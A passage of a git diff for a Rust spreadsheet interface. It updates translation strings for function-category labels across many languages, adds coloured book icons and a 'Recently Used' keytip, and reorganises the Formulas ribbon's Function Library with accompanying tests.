referencia", + "Math & Trig" => "Matemáticas y trigonométricas", + "More Functions" => "Más funciones", "Page Layout|Orientation" => "Orientación", "Display theme" => "Tema de la interfaz", "System" => "Sistema", diff --git a/crates/ui-egui/src/i18n/fr.rs b/crates/ui-egui/src/i18n/fr.rs index fdb20f7bf..e44696eb1 100644 --- a/crates/ui-egui/src/i18n/fr.rs +++ b/crates/ui-egui/src/i18n/fr.rs @@ -308,11 +308,12 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Long Date" => "Date longue", "More Number Formats…" => "Autres formats numériques…", "Financial" => "Financières", + "Recently Used" => "Récemment utilisées", "Logical" => "Logiques", - "Date &\nTime" => "Date et\nheure", - "Lookup &\nReference" => "Recherche et\nréférence", - "Math &\nTrig" => "Maths et\ntrigonométrie", - "More\nFunctions" => "Autres\nfonctions", + "Date & Time" => "Date et heure", + "Lookup & Reference" => "Recherche et référence", + "Math & Trig" => "Maths et trigonométrie", + "More Functions" => "Autres fonctions", "Sheet Options|View" => "Affichage", "Print" => "Impression", "Print What" => "Quoi imprimer", diff --git a/crates/ui-egui/src/i18n/it.rs b/crates/ui-egui/src/i18n/it.rs index 31bc6721c..51d1db6c7 100644 --- a/crates/ui-egui/src/i18n/it.rs +++ b/crates/ui-egui/src/i18n/it.rs @@ -291,10 +291,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "More Number Formats…" => "Altri formati numero…", "Financial" => "Finanziarie", "Logical" => "Logiche", - "Date &\nTime" => "Data e\nora", - "Lookup &\nReference" => "Ricerca e\nriferimento", - "Math &\nTrig" => "Matematiche e\ntrigonometriche", - "More\nFunctions" => "Altre\nfunzioni", + "More Functions" => "Altre funzioni", "Page Layout|Orientation" => "Orientamento", "Display theme" => "Tema di visualizzazione", "Animations" => "Animazioni", diff --git a/crates/ui-egui/src/i18n/ja.rs b/crates/ui-egui/src/i18n/ja.rs index 1f06755dd..b7cb6c95b 100644 --- a/crates/ui-egui/src/i18n/ja.rs +++ b/crates/ui-egui/src/i18n/ja.rs @@ -304,10 +304,8 @@ pub(super) const CORE: &[(&str, &str)] = &[ ("More Number Formats…", "その他の表示形式…"), ("Financial", "財務"), ("Logical", "論理"), - ("Date &\nTime", "日付/時刻"), - ("Lookup &\nReference", "検索/行列"), - ("Math &\nTrig", "数学/三角"), - ("More\nFunctions", "その他の関数"), + ("Recently Used", "最近使用した関数"), + ("More Functions", "その他の関数"), ("Sheet Options|View", "画面"), ("Print", "印刷"), ("Print What", "印刷する内容"), diff --git a/crates/ui-egui/src/i18n/ko.rs b/crates/ui-egui/src/i18n/ko.rs index c54ed7eee..63159f7db 100644 --- a/crates/ui-egui/src/i18n/ko.rs +++ b/crates/ui-egui/src/i18n/ko.rs @@ -295,11 +295,12 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Long Date" => "자세한 날짜", "More Number Formats…" => "숫자 서식 더 보기…", "Financial" => "재무", + "Recently Used" => "최근 사용 항목", "Logical" => "논리", - "Date &\nTime" => "날짜 및\n시간", - "Lookup &\nReference" => "조회 및\n참조", - "Math &\nTrig" => "수학 및\n삼각", - "More\nFunctions" => "기타\n함수", + "Date & Time" => "날짜 및 시간", + "Lookup & Reference" => "조회 및 참조", + "Math & Trig" => "수학 및 삼각", + "More Functions" => "기타 함수", "Page Layout|Orientation" => "용지 방향", "Display theme" => "표시 테마", "Animations" => "애니메이션", diff --git a/crates/ui-egui/src/i18n/nl.rs b/crates/ui-egui/src/i18n/nl.rs index a28459f83..f45fe10a0 100644 --- a/crates/ui-egui/src/i18n/nl.rs +++ b/crates/ui-egui/src/i18n/nl.rs @@ -300,10 +300,10 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "More Number Formats…" => "Meer getalnotaties…", "Financial" => "Financieel", "Logical" => "Logisch", - "Date &\nTime" => "Datum en\ntijd", - "Lookup &\nReference" => "Zoeken en\nverwijzen", - "Math &\nTrig" => "Wiskunde en\ntrigonometrie", - "More\nFunctions" => "Meer\nfuncties", + "Date & Time" => "Datum en tijd", + "Lookup & Reference" => "Zoeken en verwijzen", + "Math & Trig" => "Wiskunde en trigonometrie", + "More Functions" => "Meer functies", "Sheet Options|View" => "Weergeven", "Print" => "Afdrukken", "Print What" => "Wat afdrukken", diff --git a/crates/ui-egui/src/i18n/pl.rs b/crates/ui-egui/src/i18n/pl.rs index d7741a9c6..3b58b0d20 100644 --- a/crates/ui-egui/src/i18n/pl.rs +++ b/crates/ui-egui/src/i18n/pl.rs @@ -287,10 +287,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "More Number Formats…" => "Więcej formatów liczb…", "Financial" => "Finansowe", "Logical" => "Logiczne", - "Date &\nTime" => "Data i\ngodzina", - "Lookup &\nReference" => "Wyszukiwanie\ni odwołania", - "Math &\nTrig" => "Matematyczne i\ntrygonometryczne", - "More\nFunctions" => "Więcej\nfunkcji", + "More Functions" => "Więcej funkcji", "Page Layout|Orientation" => "Orientacja", "Display theme" => "Motyw wyświetlania", "Animations" => "Animacje", diff --git a/crates/ui-egui/src/i18n/pt.rs b/crates/ui-egui/src/i18n/pt.rs index c79be64e1..0107235cf 100644 --- a/crates/ui-egui/src/i18n/pt.rs +++ b/crates/ui-egui/src/i18n/pt.rs @@ -291,11 +291,9 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Long Date" => "Data Por Extenso", "More Number Formats…" => "Mais Formatos de Número…", "Financial" => "Financeira", + "Recently Used" => "Usadas Recentemente", "Logical" => "Lógica", - "Date &\nTime" => "Data e\nHora", - "Lookup &\nReference" => "Pesquisa e\nReferência", - "Math &\nTrig" => "Matemática e\nTrigonometria", - "More\nFunctions" => "Mais\nFunções", + "More Functions" => "Mais Funções", "Page Layout|Orientation" => "Orientação", "Display theme" => "Tema de exibição", "Animations" => "Animações", diff --git a/crates/ui-egui/src/i18n/ro.rs b/crates/ui-egui/src/i18n/ro.rs index 058911d87..ade378b9d 100644 --- a/crates/ui-egui/src/i18n/ro.rs +++ b/crates/ui-egui/src/i18n/ro.rs @@ -294,10 +294,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "More Number Formats…" => "Mai multe formate de număr…", "Financial" => "Financiare", "Logical" => "Logice", - "Date &\nTime" => "Dată și\noră", - "Lookup &\nReference" => "Căutare și\nreferință", - "Math &\nTrig" => "Matematică și\ntrigonometrie", - "More\nFunctions" => "Mai multe\nfuncții", + "More Functions" => "Mai multe funcții", "Page Layout|Orientation" => "Orientare", "Display theme" => "Temă de afișare", "Animations" => "Animații", diff --git a/crates/ui-egui/src/i18n/ru.rs b/crates/ui-egui/src/i18n/ru.rs index b0e894095..f8d46d134 100644 --- a/crates/ui-egui/src/i18n/ru.rs +++ b/crates/ui-egui/src/i18n/ru.rs @@ -295,11 +295,12 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Long Date" => "Длинная дата", "More Number Formats…" => "Другие числовые форматы…", "Financial" => "Финансовые", + "Recently Used" => "Последние", "Logical" => "Логические", - "Date &\nTime" => "Дата и\nвремя", - "Lookup &\nReference" => "Поиск и\nссылки", - "Math &\nTrig" => "Математические и\nтригонометрические", - "More\nFunctions" => "Другие\nфункции", + "Date & Time" => "Дата и время", + "Lookup & Reference" => "Поиск и ссылки", + "Math & Trig" => "Математические и тригонометрические", + "More Functions" => "Другие функции", "Page Layout|Orientation" => "Ориентация", "Display theme" => "Тема оформления", "Animations" => "Анимация", diff --git a/crates/ui-egui/src/i18n/sr.rs b/crates/ui-egui/src/i18n/sr.rs index c9ce49e9e..4ff6aa4ce 100644 --- a/crates/ui-egui/src/i18n/sr.rs +++ b/crates/ui-egui/src/i18n/sr.rs @@ -299,10 +299,10 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "More Number Formats…" => "Još formata brojeva…", "Financial" => "Finansijsko", "Logical" => "Logičko", - "Date &\nTime" => "Datum i\nvreme", - "Lookup &\nReference" => "Pretraga i\nreference", - "Math &\nTrig" => "Matematika i\ntrigonometrija", - "More\nFunctions" => "Još\nfunkcija", + "Date & Time" => "Datum i vreme", + "Lookup & Reference" => "Pretraga i reference", + "Math & Trig" => "Matematika i trigonometrija", + "More Functions" => "Još funkcija", "Sheet Options|View" => "Prikaz", "Print" => "Štampaj", "Print What" => "Šta štampati", diff --git a/crates/ui-egui/src/i18n/tr.rs b/crates/ui-egui/src/i18n/tr.rs index 68cd198bb..f09e64e07 100644 --- a/crates/ui-egui/src/i18n/tr.rs +++ b/crates/ui-egui/src/i18n/tr.rs @@ -403,10 +403,10 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "More Number Formats…" => "Diğer Sayı Biçimleri…", "Financial" => "Finansal", "Logical" => "Mantıksal", - "Date &\nTime" => "Tarih ve\nSaat", - "Lookup &\nReference" => "Arama ve\nBaşvuru", - "Math &\nTrig" => "Matematik ve\nTrigonometri", - "More\nFunctions" => "Diğer\nİşlevler", + "Date & Time" => "Tarih ve Saat", + "Lookup & Reference" => "Arama ve Başvuru", + "Math & Trig" => "Matematik ve Trigonometri", + "More Functions" => "Diğer İşlevler", "Page Layout|Orientation" => "Sayfa Yönü", "Display theme" => "Görüntü teması", "System" => "Sistem", diff --git a/crates/ui-egui/src/i18n/uk.rs b/crates/ui-egui/src/i18n/uk.rs index 72c1bf474..a17d4da56 100644 --- a/crates/ui-egui/src/i18n/uk.rs +++ b/crates/ui-egui/src/i18n/uk.rs @@ -289,10 +289,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "More Number Formats…" => "Інші числові формати…", "Financial" => "Фінансові", "Logical" => "Логічні", - "Date &\nTime" => "Дата і\nчас", - "Lookup &\nReference" => "Пошук і\nпосилання", - "Math &\nTrig" => "Математичні і\nтригонометричні", - "More\nFunctions" => "Інші\nфункції", + "More Functions" => "Інші функції", "Page Layout|Orientation" => "Орієнтація", "Display theme" => "Тема оформлення", "Animations" => "Анімація", @@ -711,9 +708,9 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Hidden" => "Hidden", "Search:" => "Search:", "e.g. lookup, average, date" => "e.g. lookup, average, date", - "Date & Time" => "Date & Time", - "Lookup & Reference" => "Lookup & Reference", - "Math & Trig" => "Math & Trig", + "Date & Time" => "Дата і час", + "Lookup & Reference" => "Пошук і посилання", + "Math & Trig" => "Математичні і тригонометричні", "Statistical" => "Statistical", "Engineering" => "Engineering", "Database" => "Database", diff --git a/crates/ui-egui/src/i18n/vi.rs b/crates/ui-egui/src/i18n/vi.rs index df76b4a93..9063b7d76 100644 --- a/crates/ui-egui/src/i18n/vi.rs +++ b/crates/ui-egui/src/i18n/vi.rs @@ -303,10 +303,10 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "More Number Formats…" => "Định dạng số khác…", "Financial" => "Tài chính", "Logical" => "Logic", - "Date &\nTime" => "Ngày &\nGiờ", - "Lookup &\nReference" => "Tra cứu &\nTham chiếu", - "Math &\nTrig" => "Toán &\nLượng giác", - "More\nFunctions" => "Hàm\nkhác", + "Date & Time" => "Ngày & Giờ", + "Lookup & Reference" => "Tra cứu & Tham chiếu", + "Math & Trig" => "Toán & Lượng giác", + "More Functions" => "Hàm khác", "Sheet Options|View" => "Xem", "Print" => "In", "Print What" => "Nội dung in", diff --git a/crates/ui-egui/src/i18n/zh.rs b/crates/ui-egui/src/i18n/zh.rs index d6dd0eabd..a95f7684d 100644 --- a/crates/ui-egui/src/i18n/zh.rs +++ b/crates/ui-egui/src/i18n/zh.rs @@ -295,11 +295,12 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Long Date" => "长日期", "More Number Formats…" => "更多数字格式…", "Financial" => "财务", + "Recently Used" => "最近使用的函数", "Logical" => "逻辑", - "Date &\nTime" => "日期和\n时间", - "Lookup &\nReference" => "查找和\n引用", - "Math &\nTrig" => "数学和\n三角函数", - "More\nFunctions" => "更多\n函数", + "Date & Time" => "日期和时间", + "Lookup & Reference" => "查找和引用", + "Math & Trig" => "数学和三角函数", + "More Functions" => "更多函数", "Page Layout|Orientation" => "纸张方向", "Display theme" => "显示主题", "Animations" => "动画", diff --git a/crates/ui-egui/src/icons.rs b/crates/ui-egui/src/icons.rs index c1f894ea9..e542e627b 100644 --- a/crates/ui-egui/src/icons.rs +++ b/crates/ui-egui/src/icons.rs @@ -8,6 +8,27 @@ use egui::{Color32, Painter, Pos2, Rect, Stroke, pos2, vec2}; use crate::theme::{Cat, Tokens}; +/// The glyph on a Function Library book ([`Icon::FnBook`]). +#[derive(Clone, Copy, Debug, PartialEq, Eq, Hash)] +pub enum FnGlyph { + /// Recently Used: a star. + Star, + /// Financial: a stack of coins. + Coins, + /// Logical: a question mark. + Question, + /// Text: a letter. + Letter, + /// Date & Time: a clock face. + Clock, + /// Lookup & Reference: a magnifier. + Magnifier, + /// Math & Trig: theta. + Theta, + /// More Functions: three dots. + Dots, +} + #[derive(Clone, Copy, Debug, PartialEq, Eq, Hash)] pub enum Icon { Paste, @@ -121,6 +142,9 @@ pub enum Icon { SheetList, Book, Folder, + /// A book with a coloured spine and a category glyph (Formulas › Function Library). The + /// spine and glyph take the accent colour of [`paint_accent`]. + FnBook(FnGlyph), /// Header & Footer: a page with its top / bottom band marked. Header, Footer, @@ -170,6 +194,10 @@ impl G<'_> { let v: Vec = pts.iter().map(|(x, y)| self.pt(*x, *y)).collect(); self.p.add(PathShape::line(v, PathStroke::new(w * self.s.clamp(1.0, 2.0), c))); } + fn closed(&self, pts: &[(f32, f32)], c: Color32, w: f32) { + let v: Vec = pts.iter().map(|(x, y)| self.pt(*x, *y)).collect(); + self.p.add(PathShape::closed_line(v, PathStroke::new(w * self.s.clamp(1.0, 2.0), c))); + } fn stroke(&self, pts: &[(f32, f32)], c: Color32) { self.line(pts, c, 1.15); } @@ -208,17 +236,20 @@ impl G<'_> { } /// The colours an icon draws with besides its main colour: the paper inside documents and cells, -/// and the category palette for its coloured parts. +/// the category palette for its coloured parts, and the accent a button asked for. #[derive(Clone, Copy, Debug, PartialEq)] struct Palette { paper: Color32, cat: [Color32; 8], recording: Color32, + /// The accent colour: the coloured part of an icon that has one (a book's spine and glyph), + /// otherwise the icon's main colour. `None` draws the icon as it is. + accent: Option, } impl Palette { fn of(t: &Tokens) -> Palette { - Palette { paper: t.paper, cat: t.cat, recording: t.recording } + Palette { paper: t.paper, cat: t.cat, recording: t.recording, accent: None } } fn cat(&self, c: Cat) -> Color32 { @@ -242,11 +273,23 @@ pub fn fallback_for_symbol(c: char) -> Option { } } +/// Whether an icon has a part of its own for the accent colour (otherwise the accent recolours +/// the whole icon). +fn has_accent_part(icon: Icon) -> bool { + matches!(icon, Icon::FnBook(_)) +} + /// Draws `icon` into `rect` (square-ish), in colour `c`, with the current theme's palette. pub fn paint(p: &Painter, rect: Rect, icon: Icon, c: Color32) { paint_with(p, rect, icon, c, &Palette::of(&Tokens::get(p.ctx()))); } +/// Draws `icon` like [`paint`], with an accent colour: the icon's coloured part when it has one +/// (the spine and glyph of [`Icon::FnBook`]), otherwise the whole icon. `None` is [`paint`]. +pub fn paint_accent(p: &Painter, rect: Rect, icon: Icon, c: Color32, accent: Option) { + paint_with(p, rect, icon, c, &Palette { accent, ..Palette::of(&Tokens::get(p.ctx())) }); +} + /// Draws `icon` on the sheet, which stays white in both themes, so with the light palette. pub fn paint_on_sheet(p: &Painter, rect: Rect, icon: Icon, c: Color32) { paint_with(p, rect, icon, c, &Palette::of(&Tokens::light())); @@ -257,6 +300,10 @@ fn paint_with(p: &Painter, rect: Rect, icon: Icon, c: Color32, pal: &Palette) { let side = rect.width().min(rect.height()); let r = Rect::from_center_size(rect.center(), vec2(side, side)); let g = G { p, r, s: side / 16.0 }; + let c = match pal.accent { + Some(a) if !has_accent_part(icon) => a, + _ => c, + }; let light = c.gamma_multiply(0.45); let paper = pal.paper; let blue = pal.cat(Cat::Blue); @@ -690,6 +737,46 @@ fn paint_with(p: &Painter, rect: Rect, icon: Icon, c: Color32, pal: &Palette) { Icon::Folder => { g.poly(&[(1.5, 4.0), (6.0, 4.0), (7.5, 5.5), (14.5, 5.5), (14.5, 13.0), (1.5, 13.0)], yellow); } + Icon::FnBook(glyph) => { + let spine = pal.accent.unwrap_or(c); + g.rect(3.0, 1.5, 10.5, 13.0, Some(paper), Some(c)); + g.rect(3.0, 1.5, 2.5, 13.0, Some(spine), None); + let (x, y) = (9.5, 7.8); + match glyph { + FnGlyph::Star => { + let pts: Vec<(f32, f32)> = (0..10) + .map(|i| { + let a = std::f32::consts::PI * (i as f32 / 5.0 - 0.5); + let rad = if i % 2 == 0 { 3.4 } else { 1.4 }; + (x + rad * a.cos(), y + rad * a.sin()) + }) + .collect(); + g.closed(&pts, spine, 1.0); + } + FnGlyph::Coins => { + for k in 0..3 { + let top = y + 1.6 - k as f32 * 2.3; + g.p.rect_filled(Rect::from_min_max(g.pt(x - 2.8, top), g.pt(x + 2.8, top + 1.7)), 0.9 * g.s, spine); + } + } + FnGlyph::Question => g.text(x, y, "?", 8.5, spine, (true, false)), + FnGlyph::Letter => g.text(x, y, "A", 8.0, spine, (true, false)), + FnGlyph::Clock => { + g.circle(x, y, 3.2, None, Some(spine)); + g.stroke(&[(x, y - 2.0), (x, y), (x + 1.6, y + 0.9)], spine); + } + FnGlyph::Magnifier => { + g.circle(x - 0.6, y - 0.6, 2.3, None, Some(spine)); + g.line(&[(x + 1.0, y + 1.0), (x + 3.0, y + 3.0)], spine, 1.5); + } + FnGlyph::Theta => g.text(x, y, "θ", 8.5, spine, (false, false)), + FnGlyph::Dots => { + for dx in [-2.4, 0.0, 2.4] { + g.circle(x + dx, y, 0.9, Some(spine), None); + } + } + } + } Icon::Header | Icon::Footer => { g.rect(3.5, 1.5, 9.0, 13.0, None, Some(c)); let y = if icon == Icon::Header { 2.5 } else { 11.0 }; diff --git a/crates/ui-egui/src/keytips/keytip_table/generated.rs b/crates/ui-egui/src/keytips/keytip_table/generated.rs index 2a2509f08..f2d9fc6e8 100644 --- a/crates/ui-egui/src/keytips/keytip_table/generated.rs +++ b/crates/ui-egui/src/keytips/keytip_table/generated.rs @@ -242,6 +242,7 @@ pub const SEQUENCES: &[(&str, Entry)] = &[ ("MO", Entry::Finish(Action::Control("formulas.lookup"))), // Excel: Lookup & Reference Menu; group level: containment(Lookup & Reference) ("MP", Entry::Finish(Action::Command("formulas.tracePrecedents"))), // Excel: Trace Precedents ("MQ", Entry::Finish(Action::Control("formulas.moreFunctions"))), // Excel: More Functions Menu; group level: containment(More Functions) + ("MR", Entry::Finish(Action::Control("formulas.recentlyUsed"))), // Excel: Recently Used Menu; opens the Recently Used menu ("MS", Entry::Continue), // Excel: Use in Formula Menu; group level: containment(Use in Formula) ("MSP", Entry::Finish(Action::Dialog("pasteName"))), // Excel: Paste Names ("MT", Entry::Finish(Action::Control("formulas.text"))), // Excel: Text Menu; group level: containment(Text) diff --git a/crates/ui-egui/src/keytips/keytips.json b/crates/ui-egui/src/keytips/keytips.json index 5dfe7b2f5..403bc548c 100644 --- a/crates/ui-egui/src/keytips/keytips.json +++ b/crates/ui-egui/src/keytips/keytips.json @@ -1658,6 +1658,13 @@ "note": "group level: containment(More Functions)", "target": "formulas.moreFunctions" }, + { + "seq": "MR", + "kind": "control", + "excel": "Recently Used Menu", + "note": "opens the Recently Used menu", + "target": "formulas.recentlyUsed" + }, { "seq": "MS", "kind": "continue", diff --git a/crates/ui-egui/src/lib.rs b/crates/ui-egui/src/lib.rs index db9ab316f..bdf41f88e 100644 --- a/crates/ui-egui/src/lib.rs +++ b/crates/ui-egui/src/lib.rs @@ -32,6 +32,7 @@ mod floating_pictures; pub mod fonts; pub mod formula_bar; mod formula_locale; +pub mod function_library; pub mod grid; pub mod i18n; pub mod icons; diff --git a/crates/ui-egui/src/ribbon.rs b/crates/ui-egui/src/ribbon.rs index 49aba2b0e..b3ce95182 100644 --- a/crates/ui-egui/src/ribbon.rs +++ b/crates/ui-egui/src/ribbon.rs @@ -291,3 +291,31 @@ fn contextual_tabs(app: &SheetApp) -> Vec<&'static str> { } v } + +#[cfg(test)] +mod tooltip_tests { + /// A ribbon tooltip names its control only; `widgets::tooltip_shortcut` adds the shortcut of + /// the platform it runs on. A Command-key glyph written into the text would show on Windows + /// and Linux, where the shortcut is a Ctrl or Alt one (AutoSum is Alt+=). + #[test] + fn tooltips_leave_the_shortcut_to_the_platform_lookup() { + let sources = [ + include_str!("ribbon.rs"), + include_str!("ribbon/automate.rs"), + include_str!("ribbon/contextual.rs"), + include_str!("ribbon/controls.rs"), + include_str!("ribbon/data.rs"), + include_str!("ribbon/formulas.rs"), + include_str!("ribbon/galleries.rs"), + include_str!("ribbon/home.rs"), + include_str!("ribbon/insert.rs"), + include_str!("ribbon/page_layout.rs"), + include_str!("ribbon/review.rs"), + include_str!("ribbon/shortcuts.rs"), + include_str!("ribbon/title_bar.rs"), + include_str!("ribbon/view.rs"), + ]; + let mac_only = sources.iter().flat_map(|s| s.lines()).filter(|l| l.contains('\u{2318}')).collect::>(); + assert!(mac_only.is_empty(), "Command-key glyph in ribbon text: {mac_only:?}"); + } +} diff --git a/crates/ui-egui/src/ribbon/formulas.rs b/crates/ui-egui/src/ribbon/formulas.rs index 4f757bdac..464baf4fd 100644 --- a/crates/ui-egui/src/ribbon/formulas.rs +++ b/crates/ui-egui/src/ribbon/formulas.rs @@ -1,6 +1,8 @@ use super::controls::{act, anchor_keytip, control_keytip, invoke, keytip, menu_items, popup_command, sep}; -use super::home::autosum_menu; -use super::{Icon, SheetApp, Ui, big_button, big_split_button, json, keytip_table, small_button, small_split_button}; +use super::{Cat, Icon, SheetApp, Tokens, Ui, big_button, big_split_button, json, keytip_table, small_button, small_split_button}; +use crate::function_library; +use crate::icons::FnGlyph; +use crate::widgets::small_button_accent; /// How many cells Formulas › Error Checking › Circular References lists. const CIRCULAR_MENU_LIMIT: usize = 100; @@ -19,6 +21,57 @@ fn circular_references(app: &SheetApp) -> Vec<(usize, String, String)> { .collect() } +/// What a Function Library button's menu lists. +#[derive(Clone, Copy, Debug)] +enum LibraryMenu { + Recent, + Category(&'static str), + More, +} + +/// One Function Library category button: its label, its menu, the glyph and colour of its book, +/// and the control id its keytip sequence targets in `keytips.json`. +struct LibraryItem { + label: &'static str, + menu: LibraryMenu, + book: (FnGlyph, Cat), + keytip: &'static str, +} + +impl LibraryItem { + const fn new(label: &'static str, menu: LibraryMenu, book: (FnGlyph, Cat), keytip: &'static str) -> LibraryItem { + LibraryItem { label, menu, book, keytip } + } +} + +/// The Function Library categories after AutoSum, column by column (three rows each). Every +/// category has its own colour. +const LIBRARY: [LibraryItem; 8] = [ + LibraryItem::new("Recently Used", LibraryMenu::Recent, (FnGlyph::Star, Cat::Amber), "formulas.recentlyUsed"), + LibraryItem::new("Financial", LibraryMenu::Category("Financial"), (FnGlyph::Coins, Cat::Green), "formulas.financial"), + LibraryItem::new("Logical", LibraryMenu::Category("Logical"), (FnGlyph::Question, Cat::Purple), "formulas.logical"), + LibraryItem::new("Text", LibraryMenu::Category("Text"), (FnGlyph::Letter, Cat::Blue), "formulas.text"), + LibraryItem::new("Date & Time", LibraryMenu::Category("DateTime"), (FnGlyph::Clock, Cat::Orange), "formulas.dateTime"), + LibraryItem::new("Lookup & Reference", LibraryMenu::Category("Lookup"), (FnGlyph::Magnifier, Cat::Teal), "formulas.lookup"), + LibraryItem::new("Math & Trig", LibraryMenu::Category("MathTrig"), (FnGlyph::Theta, Cat::Red), "formulas.mathTrig"), + LibraryItem::new("More Functions", LibraryMenu::More, (FnGlyph::Dots, Cat::Slate), "formulas.moreFunctions"), +]; + +/// One Function Library category button: a book in the category's colour that opens the +/// category's menu. +fn library_button(app: &mut SheetApp, ui: &mut Ui, item: &LibraryItem) { + let (glyph, cat) = item.book; + let accent = Some(Tokens::get(ui.ctx()).cat(cat)); + let anchor = small_button_accent(ui, Icon::FnBook(glyph), accent, item.label, item.label, true); + control_keytip(app, ui, &anchor, item.keytip); + let forced = invoke(app, item.keytip); + egui::Popup::menu(&anchor).open_memory(popup_command(forced, anchor.clicked())).show(|ui| match item.menu { + LibraryMenu::Recent => function_library::recent_menu(app, ui), + LibraryMenu::Category(id) => function_library::category_menu(app, ui, id), + LibraryMenu::More => function_library::more_menu(app, ui), + }); +} + /// The Formulas tab: Insert Function, AutoSum, the function-category menus (names in the formula /// language, descriptions in the interface language), defined names, auditing and calculation. pub(super) fn formulas(app: &mut SheetApp, ui: &mut Ui) { @@ -27,42 +80,21 @@ pub(super) fn formulas(app: &mut SheetApp, ui: &mut Ui) { if __k.clicked() { app.open_dialog("insertFunction", json!({})); } - let (s, sa) = big_split_button(ui, Icon::Sum, "AutoSum", "AutoSum"); - control_keytip(app, ui, &sa, "formulas.autoSum"); - if s.clicked() { + // Function Library: AutoSum as a big split button, then the categories in columns of three + // labelled small buttons, as Excel lays the group out when the window is not wide enough for + // a big button per category. + let (sum, sum_arrow) = big_split_button(ui, Icon::Sum, "AutoSum", "AutoSum"); + control_keytip(app, ui, &sum_arrow, "formulas.autoSum"); + if sum.clicked() { act(app, "formulas.autoSum", json!({})); } - egui::Popup::menu(&sa).show(|ui| autosum_menu(app, ui)); - for (label, cat, cid) in [ - ("Financial", "Financial", "formulas.financial"), - ("Logical", "Logical", "formulas.logical"), - ("Text", "Text", "formulas.text"), - ("Date &\nTime", "DateTime", "formulas.dateTime"), - ("Lookup &\nReference", "Lookup", "formulas.lookup"), - ("Math &\nTrig", "MathTrig", "formulas.mathTrig"), - ("More\nFunctions", "Statistical", "formulas.moreFunctions"), - ] { - let r = big_button(ui, Icon::Book, label, label, true); - control_keytip(app, ui, &r, cid); - let forced_c = invoke(app, cid); - egui::Popup::menu(&r).open_memory(popup_command(forced_c, r.clicked())).show(|ui| { - ui.set_max_height(420.0); - egui::ScrollArea::vertical().show(ui, |ui| { - for f in gridcraft_engine::cmd::formulas::function_list() { - if f["category"].as_str() == Some(cat) - && let Some(n) = f["name"].as_str() - { - let locale = app.ui.language.formula_locale(); - let name = - app.session.active().map(|d| crate::formula_locale::completion_name(n, locale, &d.wb, d.wb.active_sheet())).unwrap_or(n); - let desc = crate::formula_locale::description(n, locale, app.ui.language).unwrap_or_default(); - if ui.button(name).on_hover_text(desc).clicked() { - app.run_or_alert("formulas.insertFunction", json!({"name": n})); - ui.close(); - } - } - } - }); + let forced = invoke(app, "formulas.autoSum"); + egui::Popup::menu(&sum_arrow).open_memory(popup_command(forced, sum_arrow.clicked())).show(|ui| function_library::auto_sum_menu(app, ui)); + for column in LIBRARY.chunks(3) { + ui.vertical(|ui| { + for item in column { + library_button(app, ui, item); + } }); } sep(ui); @@ -200,3 +232,21 @@ pub(super) fn formulas(app: &mut SheetApp, ui: &mut Ui) { } }); } + +#[cfg(test)] +mod function_library_tests { + use super::*; + + #[test] + fn every_function_library_book_has_its_own_glyph_and_colour() { + let books: Vec<(FnGlyph, Cat)> = LIBRARY.iter().map(|i| i.book).collect(); + assert_eq!(books.len(), 8, "every category is a coloured book"); + for (i, (glyph, cat)) in books.iter().enumerate() { + assert!(books.iter().skip(i + 1).all(|(g, c)| g != glyph && c != cat), "{glyph:?} / {cat:?} is used twice"); + } + assert!(matches!(LIBRARY.first().map(|i| i.menu), Some(LibraryMenu::Recent))); + for item in &LIBRARY { + assert!(!keytip_table::sequences_for(item.keytip).is_empty(), "{} has a keytip sequence", item.label); + } + } +} diff --git a/crates/ui-egui/src/ribbon/home.rs b/crates/ui-egui/src/ribbon/home.rs index 72fce56cb..347fec4fb 100644 --- a/crates/ui-egui/src/ribbon/home.rs +++ b/crates/ui-egui/src/ribbon/home.rs @@ -469,7 +469,7 @@ pub(super) fn home(app: &mut SheetApp, ui: &mut Ui) { if s { act(app, "formulas.autoSum", json!({})); } - egui::Popup::menu(&sa).show(|ui| autosum_menu(app, ui)); + egui::Popup::menu(&sa).show(|ui| crate::function_library::auto_sum_menu(app, ui)); }); let fill = small_button(ui, Icon::FillDown, "", "Fill", true); for sequence in keytip_table::group_extension( @@ -562,20 +562,6 @@ pub(super) fn home(app: &mut SheetApp, ui: &mut Ui) { }); } -/// The AutoSum menu (Home › Editing and Formulas › Function Library): a function, or the Insert -/// Function dialog. -pub(super) fn autosum_menu(app: &mut SheetApp, ui: &mut Ui) { - for f in ["SUM", "AVERAGE", "COUNT", "MAX", "MIN"] { - if ui.button(f).clicked() { - act(app, "formulas.autoSum", json!({"function": f})); - } - } - ui.separator(); - if ui.button("More Functions…").clicked() { - app.open_dialog("insertFunction", json!({})); - } -} - fn font_combo(app: &mut SheetApp, ui: &mut Ui, st: &Style) { let name = st.font.name.clone(); let resp = ui.add_sized([150.0, 24.0], egui::Button::new(egui::RichText::new(&name).font(theme::ui_font(12.5)))); diff --git a/crates/ui-egui/src/widgets.rs b/crates/ui-egui/src/widgets.rs index 1552db2bb..a2e749921 100644 --- a/crates/ui-egui/src/widgets.rs +++ b/crates/ui-egui/src/widgets.rs @@ -183,6 +183,12 @@ fn paint_big_label(ui: &Ui, rect: Rect, lines: &[std::sync::Arc], /// Small ribbon button: 16px icon with optional label to the right. pub fn small_button(ui: &mut Ui, icon: Icon, label: &str, tip: &str, dropdown: bool) -> Response { + small_button_accent(ui, icon, None, label, tip, dropdown) +} + +/// Small ribbon button whose icon takes an accent colour (see [`icons::paint_accent`]); `None` +/// draws it like [`small_button`]. A labelled button reports its label to accessibility. +pub fn small_button_accent(ui: &mut Ui, icon: Icon, accent: Option, label: &str, tip: &str, dropdown: bool) -> Response { let t = Tokens::get(ui.ctx()); let font = theme::ui_font(12.5); let label = tr(ui, label); @@ -194,7 +200,7 @@ pub fn small_button(ui: &mut Ui, icon: Icon, label: &str, tip: &str, dropdown: b } else if resp.hovered() { ui.painter().rect_filled(rect, 4.0, t.hover); } - 